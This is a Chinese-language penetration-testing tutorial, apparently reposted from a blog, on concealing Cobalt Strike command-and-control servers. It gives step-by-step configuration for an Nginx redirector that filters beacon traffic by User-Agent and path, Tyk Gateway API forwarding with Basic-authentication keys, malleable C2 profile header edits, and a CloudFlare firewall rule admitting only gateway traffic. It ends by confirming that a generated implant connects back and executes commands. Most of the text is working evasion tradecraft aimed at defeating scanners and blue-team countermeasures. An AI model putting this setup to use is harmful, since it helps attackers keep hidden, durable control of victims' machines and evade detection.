渗透测试-伪装隐藏与清理痕迹手段
偽裝隱藏與清理技術總結
- 利用Nginx、Tyk Gateway API和CloudFlare防火墻隱藏C2設施
- 自定義配置Nginx文件
- 效果
- 配置Tyk Gateway API
- 創建并配置API
- 設置訪問驗證策略
- 配置訪問驗證Key
- 配置C2配置文件
- 效果
- 配置CloudFlare防火墻
- 最終效果
- 問題
利用Nginx、Tyk Gateway API和CloudFlare防火墻隱藏C2設施
- Cobalt Strike的特征 被各大安全廠商標記
- 搜索引擎、空間測繪的掃描
配置C2域名
如果不做好基礎設施的隱匿,很快會出現下圖的情況。
隱藏C2的手法:
(許多藍隊反制帖子已經開始分享消耗云函數額度的方法)
通過配置Tyk Gateway API轉發惡意流量
達到類似于域前置,或者騰訊云函數隱藏C2的效果。
配置Nginx過濾不符合規則的請求
并通過配置CloudFlare防火墻只允許Tyk Gateway API的流量訪問C2域名,可以達到隱藏C2域名,
并且防止搜索引擎、空間測繪掃描.和識別Cobalt Strike特征導致域名或IP被標記。
本文基于已經將域名托管到CloudFlare并配置SSL證書的情況.
自定義配置Nginx文件
將域名托管到CloudFlare,可以配置Nginx反向代理來過濾部分請求,只讓信標流量轉發進服務器。
配置Nginx文件可以使用cs2modrewrite進行生成,然后根據需求進行修改。
https://github.com/threatexpress/cs2modrewrite
以使用jquery-c2.4.5.profile作為C2配置文件的情況示例:
https://github.com/threatexpress/malleable-c2
通過該工具生成的Nginx配置文件的server塊的部分配置如下:
server {set $C2_SERVER https://127.0.0.1:8443;set $REDIRECT_DOMAIN http://www.baidu.com/;server_name yourc2.domain;......listen 80;listen [::]:80;listen 443 ssl;listen [::]:443 ssl;......location ~ ^(/jquery-3.3.2.slim.min.js.*|/jquery-3.3.1.min.js.*|/jquery-3.3.1.slim.min.js.*|/jquery-3.3.2.min.js.*)$ {if ( $http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"){return 404;}proxy_pass $C2_SERVER;......}location @redirect {return 302 $REDIRECT_DOMAIN$request_uri;}}使用Nginx加載該配置文件后。
Nginx將監聽外部的80、443端口,并將符合規則的請求轉發到內部的8443端口,不符合規則的請求將跳轉到http://www.baidu.com/。
效果
此時通過對服務器IP地址的掃描就無法獲取到我們的beacon stage了。
beacon指的是受害者與我們的teamserver所建立的這個連接,也可以理解成我們所獲的的對方主機的控制權。
stager是生成的可執行文件。
stage是無階段的stager,可以直接理解成,
stage是stager與它所請求的數據的集合體。stage比stager更安全,但是體積更大。
而且在內網穿透的時候基本只能用stage,用stager會十分麻煩,stager是分段傳輸payload的,使用stager有時候會導致目標無法上線。
stage唯一的缺點是提起相比較而言比較大。
配置Tyk Gateway API
注冊賬戶
https://account.cloud-ara.tyk.io/signup
訪問注冊地址,填寫用戶名、郵箱、密碼等信息后點擊注冊,注冊成功后選擇免費版。
然后設置組織名稱,設置好后會提示Deployment successful。
創建并配置API
點擊Manage APIs后會看到如下頁面:
接下來逐一創建并配置
http-get API、
http-post API、
Stager-x86 API、
Stager-x64 API。
以下以http-get API為例。
假設你的域名為cslabtest.live,且C2配置文件如下:
http-get {set uri "/api/v2/login";.... }http-post {set uri "/api/v2/status";.... } http-stager {set uri_x86 "/api/v2/GetProfilePicture";set uri_x64 "/api/v2/GetAttachment"; }點擊Design new API并填寫API信息。
創建好后進一步配置API,來讓它能夠將請求轉發到我們的C2服務器。
現在我們需要更改Listen path和Target URL,
TYK會監聽Listen path的地址,并將請求轉發到Target URL。
(注:若C2配置文件為jquery-c2.4.5.profile,則將Listen path和Target URL的路徑配置為相對應的.js的路徑)
為了能夠上線CS,還要配置Rate Limiting and Quotas。都選擇disable即可。
然后來到Advanced Options,取消勾選Enable caching。
按這個步驟逐一新建http-get API、http-post API、Stager-x86 API、Stager-x64 API。
設置訪問驗證策略
將上一步新建的API的Authentication更改為Basic Authentication,如下所示:
然后來到Policies新建策略,選擇你新建的四個API。
然后點擊Global Limits and Quota,確認禁用Rate Limiting。
接著配置策略名稱并設置密鑰過期時間。
點擊Create Policy以保存新策略,之后可以在Policies看到它:
配置訪問驗證Key
來到Keys,點擊ADD KEY,
然后在Apply policy選擇我們之前創建的策略,并選擇API。
最后來到Authentication輸入需要設置的用戶名、密碼,
這里使用test:testtesttest作為用戶名、密碼。
Key創建成功后會有如下提示:
配置C2配置文件
由于上一步我們設置了訪問驗證,
所以要在C2配置文件中添加一個請求頭才能正常上線CS。
Authorization的請求頭設置格式如下:
Authorization: Basic base64(username:password)所以按上一步添加的Key,我們要在C2配置文件中添加如下請求頭:
Authorization: Basic dGVzdDp0ZXN0dGVzdHRlc3Q=最終配置文件如下:
http-get {set uri "/api/v2/login";client {header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q="; }.... }http-post {set uri "/api/v2/status";client {header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q="; }.... } http-stager {set uri_x86 "/api/v2/GetProfilePicture";set uri_x64 "/api/v2/GetAttachment";client {header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q="; }.... }效果
此時直接訪問我們設置的API的地址都是需要驗證的,而CS是可以正常上線的。
配置CloudFlare防火墻
獲得tyk.io特征
在CF的WAF中創建一條防火墻規則,如下:
然后生成一個木馬嘗試上線CS,這時肯定是無法上線的,來到CF的概述中可以看到所有攔截記錄,
點擊單條攔截記錄查看詳細。
這里有很多的特征可以加到WAF攔截規則中,
來實現只有Tyk Gateway API轉發過來的流量才能允許訪問,其他的流量都會阻止。
編輯防火墻規則
這里我以ASN為例子,配置如下:
保存防火墻規則即可。
最終效果
對服務器的掃描,無法獲取到我們的beacon stage。
直接訪問設置的Tyk Gateway API的地址是需要驗證的。
直接訪問我們的C2域名會被CloudFlare攔截。
CS創建監聽器,如下:
CS生成木馬,可以正常上線和執行命令。
問題
由于流量經過多次轉發,上線可能會有延遲。
通過配置Tyk Gateway API的域名,使用HTTPS的方式上線,
流量中會出現*.tyk.io的DNS流量記錄,算是一個比較明顯的特征。
總結
以上是生活随笔為你收集整理的渗透测试-伪装隐藏与清理痕迹手段的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Mysq连接l数据库有效文章
- 下一篇: TIdTCPClient 详解